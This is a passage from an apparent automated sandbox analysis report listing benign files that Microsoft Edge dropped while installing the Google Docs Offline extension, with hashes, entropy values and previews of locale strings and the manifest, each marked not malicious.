Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Reputation:	unknown
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Reputation:	unknown
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Reputation:	unknown
